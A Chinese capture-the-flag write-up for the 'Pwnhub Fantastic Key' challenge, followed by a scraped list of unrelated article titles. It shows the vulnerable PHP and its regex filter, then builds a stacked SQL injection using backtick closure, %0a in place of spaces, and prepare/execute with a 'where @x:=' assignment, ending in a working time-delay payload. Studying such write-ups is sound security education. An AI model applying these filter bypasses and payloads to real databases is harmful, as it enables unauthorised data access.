index.php

<? php 
error_reporting(0);
include 'config.php';
$id = $_POST['i'] ? waf($_POST['i']) : rand(1, 8);
$v = $_POST['v'] ? waf($_POST['v']) : 'anime';
$sql = "desc `acg_{$v}`";
if (!$conn - > query($sql)) {
die('no such table');
}
$sql = "SELECT * FROM acg_{$v} where id = '$id'";
$result = $conn - > query($sql);
if (!$result) {
die('error');
}
foreach($result as $row) {
print "<!-- $row[0] --> \t";
print "$row[1]<br><img src='img/$row[1].jpg' style='width:600px;'> <br>";
} ?>

config.php

<? php
$con = "mysql:host=localhost;port=3306;dbname=acg";
$conn = new PDO($con, 'user', 'user');
$conn - > query('set names utf8'); function waf($s) {
if (preg_match(
"/select|union|or|and|\.|\\\\| |\)|\'|\"|in|\*||do|set|case|regexp|like|prepare.|.execute|\/|#|\\0/i", $s) !=
false || strlen($ s) > 10000) die();
return $s;
}
?>

trick1:

源码里用到了PDO来进行sql查询,那么PDO有一个特性就是支持堆叠语句。那么堆叠语句就可以结合prepare进行堆叠注入,这里可以到后端的参数包括i和v,这里id参数肯定没法闭合,因为单引号过滤了,并且-和#也被过滤了,那么注释肯定也不可以使用。那么能利用的参数就是$v这个变量,此时它被反引号包裹着,并且此时waf中包裹着反引号,那么可以使用反引号来进行闭合。并且后面的反引号也可以使用一个反引号进行闭合,这个点以前还不知道,如下图所示:

那么如上图所示跟在后面的where语句也是正常执行了,否则不可能返回空,因此可以在此进行闭合。

当然这里测试了一下如下直接加反引号也是不影响sql语法的,只是不会产生语义影响。

那么这应该是第一个点。

trick2:

首先测试一下堆叠注入:

<?php
$con = "mysql:host=localhost;port=3306;dbname=ctf";
$conn = new PDO($con, 'root', 'root');
$conn -> query('set names utf8');
$v='desc `admin`;select sleep(5);';
$result = $conn ->query($v);

但是题目这里虽然pdo支持堆叠,但是空格被过滤了,*也被过滤了,然而%没有被过滤,因此可以用%0a来代替空格,并且如果要用堆叠注入,那么set、prepare、from、execute,=肯定不能被过滤,这里set被过滤了,=可以用,from可以用,prepare和execute在用正则进行匹配时,用到了.,我们知道如果用.进行任意字符匹配,那么则不包括换行符,因此这里直接用prepare+%0aj即可绕过waf对该关键字的过滤,本地测试如下:

<?php
$a=urldecode('prepare%0aa');
function waf($s)
{
#echo $s;
if (preg_match("/select|union|or|and|\.|\\\\| |\)|\'|\"|in|\*|-|do|set|case|regexp|like|prepare.|.execute|\/|#|\\0/i",$s)!=false||strlen($s)>10000){
echo "waf";}
else{
echo $s;
}
}
waf($a);

可以看到此时绕过了waf,所以prepare和execute都可以加上%0a来绕过,那么接下来还有一个trick就是waf里面过滤了set,然而我们知道堆叠注入需要使用set来指定execute要执行的sql语句,这里用到了where来替换set,然后取where所赋值的变量的值来进行执行。本地测试一下:

<?php
$con = "mysql:host=localhost;port=3306;dbname=ctf";
$conn = new PDO($con, 'root', 'root');
$conn -> query('set names utf8');
$v='select * from admin where @x:=0x73656c65637420736c656570283329;prepare st from @x;execute st;';
#$v='desc `admin`;select sleep(5);';
echo "123";
$result = $conn ->query($v);
echo "345";

可以看到此时也已经成功延时了,说明用where来代替set的赋值是可行的,但是本地这里直接测试以下语句并没有成功延时:

<?php
$con = "mysql:host=localhost;port=3306;dbname=ctf";
$conn = new PDO($con, 'root', 'root');
$conn -> query('set names utf8');
$v='desc `admin` `where @x:=0x73656c65637420736c656570283329;prepare st from @x;execute st;`';
#$v='desc `admin`;select sleep(5);';
echo "123";
$result = $conn ->query($v);
echo "345";

我猜应该是版本的问题,但是我没时间测,有师傅测出来说一下。我的本地版本如下所示

但是到这里确定能用where来代替set了,那么题目中使用一下payload就能延时:

v=anime`%0a`where%0a@x:=0x73656c65637420736c656570283329;prepare%0ast%0afrom%0a@x;%0aexecute%0ast;&i=

其中16进制值是select sleep(5),延时成功后就能进而查表查找flag了

Pwnhub Fantastic Key-一点总结的更多相关文章

  1. Git相关内容

    先聊一点关于gitlab的内容和github的内容 Gitlab和GitHub,都是我们可以存放代码库的地方.不过Gitlab可以免费的存储私人代码,GitHub需要花钱才能够存储私人代码库,不过我想 ...

  2. 关于 git 本地创建 SSH Key 遇到的一点问题(①file to save the key & ②the authenticity of host...)

    背景 由于想测试一下 SSH Key 创建的路径(.ssh 目录路径)对于不同位置 git 项目是否有效. 比如,.ssh 默认在 C:\[users]\[username] 目录下,而项目 proj ...

  3. Key/Value之王Memcached初探:二、Memcached在.Net中的基本操作

    一.Memcached ClientLib For .Net 首先,不得不说,许多语言都实现了连接Memcached的客户端,其中以Perl.PHP为主. 仅仅memcached网站上列出的语言就有: ...

  4. SQL Server-聚焦移除Bookmark Lookup、RID Lookup、Key Lookup提高SQL查询性能(六)

    前言 前面几节都是讲的基础内容,本节我们讲讲索引性能优化,当对大数据进行处理时首先想到的就是索引,一旦遇到这样的问题则手忙脚乱,各种查资料,为何平常不扎实基本功呢,我们由浅入深,简短的内容,深入的理解 ...

  5. 关于MapReduce中自定义带比较key类、比较器类(二)——初学者从源码查看其原理

    Job类 /**   * Define the comparator that controls    * how the keys are sorted before they   * are pa ...

  6. Key/Value之王Memcached初探:三、Memcached解决Session的分布式存储场景的应用

    一.高可用的Session服务器场景简介 1.1 应用服务器的无状态特性 应用层服务器(这里一般指Web服务器)处理网站应用的业务逻辑,应用的一个最显著的特点是:应用的无状态性. PS:提到无状态特性 ...

  7. phpunit测试学习 1:一点简单的扼要有用的东西的总结 一点入门认识

    16:45 2015/12/8phpunit测试学习 1:一点简单的扼要有用的东西的总结  一点入门认识 具体的入门安装和入门实践请参照文中的推荐博客或网上其他博客推荐博客,我感觉这几篇博客写得很不错 ...

  8. php基础的一点注意事项

    1.要弄懂"~"运算符的计算方法,首先必须明白二进制数在内存中的存放形式,二进制数在内存中是以补码的形式存放的 另外正数和负数的补码不一样,正数的补码,反码都是其本身,即: 正数9 ...

  9. js的一点

    1.js中实现继承的方法 1.js原型(prototype)实现继承 <SPAN style="<SPAN style="FONT-SIZE: 18px"&g ...

随机推荐

  1. Python实现定时执行任务的三种方式简单示例

    本文实例讲述了Python实现定时执行任务的三种方式.分享给大家供大家参考,具体如下: 1.定时任务代码 import time,os,sched schedule = sched.scheduler ...

  2. springboot2.0(二)

    三. Web开发 3.1.静态资源访问 在我们开发Web应用的时候,需要引用大量的js.css.图片等静态资源. 默认配置 Spring Boot默认提供静态资源目录位置需置于classpath下,目 ...

  3. 最近发现了一篇讲解Vue的虚拟DOM,diff很棒的文章,特定记录转载一下

    本文章是转载的,为了方便以后复习,特地记录一下.他人请去原地址观看!!! 文章原地址:https://blog.csdn.net/m6i37jk/article/details/78140159 作者 ...

  4. 字符串转json数组

    import net.sf.json.JSONArray;import net.sf.json.JSONObject; String content = inBankOdd.getContent(). ...

  5. Image Processing and Analysis_15_Image Registration:A survey of medical image registration——1998

    此主要讨论图像处理与分析.虽然计算机视觉部分的有些内容比如特 征提取等也可以归结到图像分析中来,但鉴于它们与计算机视觉的紧密联系,以 及它们的出处,没有把它们纳入到图像处理与分析中来.同样,这里面也有 ...

  6. Win10建立标准账户并设置标准账户权限

    Win10建立标准账户,并使用组策略对标准帐户的权限进行管理. 注意:本文内容均在管理员帐户下操作,可以只看图片按图示步骤操作即可. 一.建立一个标准账户用于公用登录 (1)按”win健+R”运行“c ...

  7. 通过.frm表结构和.ibd文件恢复数据

    整个恢复过程其实可以总结为下面几步: (1):恢复表结构 (2):复制出来创建表的sql语句 (3):恢复表数据(在恢复表数据的时候,首先需要解除当前创建的表与默认生成的.ibd文件间的关系,接着将要 ...

  8. mysql json数据类型

    概述 Mysql从5.7.8版本开始支持JSON字段,可以高效的处理JSON文档.相比字符串字段,JSON字段有下面的几处优势: 自动的校验JSON格式,无效的文档会产生错误 优化的存储格式(结构化的 ...

  9. mysql 1040 连接数太多 mysql Error 1040 too many connection解决办法

    近在用SpringMVC开发的时候,突然出现1040 too many connection的错误,看错误的意思是连接的人数太多了.百度经验:jingyan.baidu.com 方法/步骤   1 当 ...

  10. VSCode:使用GIT

    准备:安装GIT.安装VSCode.GitHub上添加 1.初始化 新建本地文件xmai # 全局配置加上命令--global ,如果只想在本文件夹则去掉此参数即可: > git init &g ...